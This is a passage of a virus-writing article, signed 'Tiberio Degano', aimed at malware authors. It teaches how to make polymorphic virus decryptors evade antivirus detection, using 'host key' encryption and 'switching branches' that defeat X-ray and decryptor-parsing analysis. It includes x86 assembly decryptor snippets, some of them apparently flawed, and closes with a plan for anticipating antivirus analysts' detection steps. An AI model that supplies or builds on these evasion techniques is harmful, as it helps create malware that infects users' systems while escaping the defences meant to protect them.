Host key is a simple key and easy to use away from using a hardcoded algorithm that become so hard to be obfuscated by your polymorphic engine. This idea is simply taking a part from the host equal to the size of your virus as a key to encrypt your virus. Analyze this decryptor CAREFULLY to understand my idea

```
;Virus_Place-->pointer to the place of the virus
;host_Place--->pointer to a place in the host its size==virus_size
mov ecx,Virus_size      ;ECX-->the size of virus
mov eax,dword ptr [ecx+Virus_Place]
mov ebx,dword ptr [ecx+host_Place]
xor eax,ebx             ;we encrypt the virus by a place in the host
mov dword ptr[ecx+Virus_Place],eax
```

This trick could be used without any limits if you make the virus run at the beginning of the application (before the host) but if you use an EPO you should take a read-only part from the host equal to the size of the virus and all decryptor except the first (if you use a multi-layer poly).

The second restriction you will face is you should take the whole place in the same section in the host. If you see two read-only sections don't use them as the host place because the virtual size of every section is different from the size of raw data. When they mapped in the memory (as a process) you will see there's new bytes added to each section at the end make the decryption key different from the encryption key. The last restriction in this idea is the multi-infection will become impossible if you don't add your virus at the end.

If XRay failed how they will think. I think they will use decryptor parsing and that's the next

6- Decryptor Parsing:

Decryptor parsing is a helpful tool for xray. It search for the decryptor and try to get the pointers and the important data from your decryptor. Any much explain I don't have but I think you could name it a simple static analyzer try only to get the pointers and the keys.

Highly obfuscated code could defeat Decryptor parsing. Decryptor parsing can get some pointers or some imm32 but can't analyze the code and that's we will build our next idea.

6-1 Switching Branches:

This idea is a huge idea. It's very powerful against any type of analysis, decryptor parsing and xray. This idea can only be used with a multi-algorithm poly with huge size for the decryptor.

Imagine if we have 4 algorithms in our decryptor. We will not make them run every me but we will make some switches before each algorithm make it ON/OFF or work/not work. These switches will be cmp/jcc and the switch will be based on (mainly) the counter. When the switch become ON the algorithm will run and when become off the jcc will jump to the next algorithm.

All of these switches will be written in the encryptor so will make all the algorithms the same type (like all of them xor or add) but you can use sliding keys or host keys. This restriction is for not writing the algorithms in the encryptor from the last to the first. If you are using the same algorithm you can order them in the encryptor exactly like the decryptor and that's will be easier to write in the encryptor.

This Idea can bypass the decryptor parsing because the decryptor parsing can get some pointers or imm32 but it can't get the switches because it needs a good analyzer to get them. Also the xray will become impossible because it can brute force the key but can't predict the switches that used. Also it need a great analyzer to understand that that's a loop not some if/endif or switches. But this idea also is hard to write and hard to obfuscate need a great programmer and much time to convert it into real.

Now let's take an example. I will give you an example of a normal decryptor with multi-algorithm and how we will convert it into switching branches:

```
xor ecx,ecx
_@1:
;the first algorithm Xor eax,50000
mov eax,dword ptr [ecx+Virus_place]
xor eax,50000
mov dword ptr [ecx+Virus_place],eax
;the second algorithm Xor eax,ebx (host key)
mov eax,dword ptr [ecx+Virus_place]
mov ebx,dword ptr [ecx+host_place]
xor eax,ebx
mov dword ptr [ecx+Virus_place],eax
;the third algorithm Xor eax,70000
mov eax,dword ptr [ecx+Virus_place]
xor eax,70000
mov dword ptr [ecx+Virus_place],eax
add ecx,4
cmp ecx,Virus_Size
jb _@1
```

Let's see the switching branches

```
xor ecx,ecx
_@1:
;the first algorithm Xor eax,50000
;the first switch ecx/2=1 (last bit=1)
test ecx,1
jz _@2                    ;oFF
mov eax,dword ptr [ecx+Virus_place]
```

```
xor eax,50000
mov dword ptr [ecx+Virus_place],eax

_@2:
;the second algorithm Xor eax,ebx (host key)
;the secnd switch ecx/8=1 (last 3 bit=100)
test ecx,100
jz _@3                  ;oFF

mov eax,dword ptr [ecx+Virus_place]
mov ebx,dword ptr [ecx+host_place]
xor eax,ebx
mov dword ptr [ecx+Virus_place],eax

_@3:
;the third algorithm Xor eax,70000
;the secnd switch ecx != 50
cmp ecx,50
jz _@1                  ;oFF

mov eax,dword ptr [ecx+Virus_place]
xor eax,70000
mov dword ptr [ecx+Virus_place],eax
add ecx,4
cmp ecx,Virus_Size
jb _@1
```

I hope this example make you understand my idea. I hope to see a virus writer use this idea.

7- What we should do?

At the end I shall say we should make ourselves like an aver and try to predict how the aver will write a detection algorithm and how he will think and finding ways to bypass the detection that we predict.

In my little point of view the Aver will follow these steps in detecting our viruses:

1. Use wildcards
2. If it's polymorphic so let's emulate and then wildcards
3. If it epo let's reverse the epo and then emulate
4. If it SK epo or Mistfall and simple poly they will jump into decryptor parsing
5. If it sk epo or Mistfall and highly-obfuscated poly and weak algorithm so Xray is good
6. If these epos and this poly and the same algorithm but metamorphic under the encryption so they will jump into XRAY and code disassembling with emulator in handy (that's zmist)
7. If a powerful algorithm like fpu or host key so they will think about static analysis
8. If dynamic register swapping and anti-negative pattern what will they do???... To be continued.

That's my opinion and this what I want to reach from the beginning of the article and that's why I begin from the first line in virusing. You should make a plan for yourself and have your own point of view very organized like that before jumping on writing any virus that if you want RALLY to bypass the antivirus and write a complex virus.

This point of view that I write is the plan and the first step when writing my second virus win32.skipo I don't know now if it really become complex or not but if it become a very complex virus so my plan is right. But if not (and that's will be sad) try to write your own plan or correct the missed parts in my plan.

I hope you enjoyed. Bye

Tiberio Degano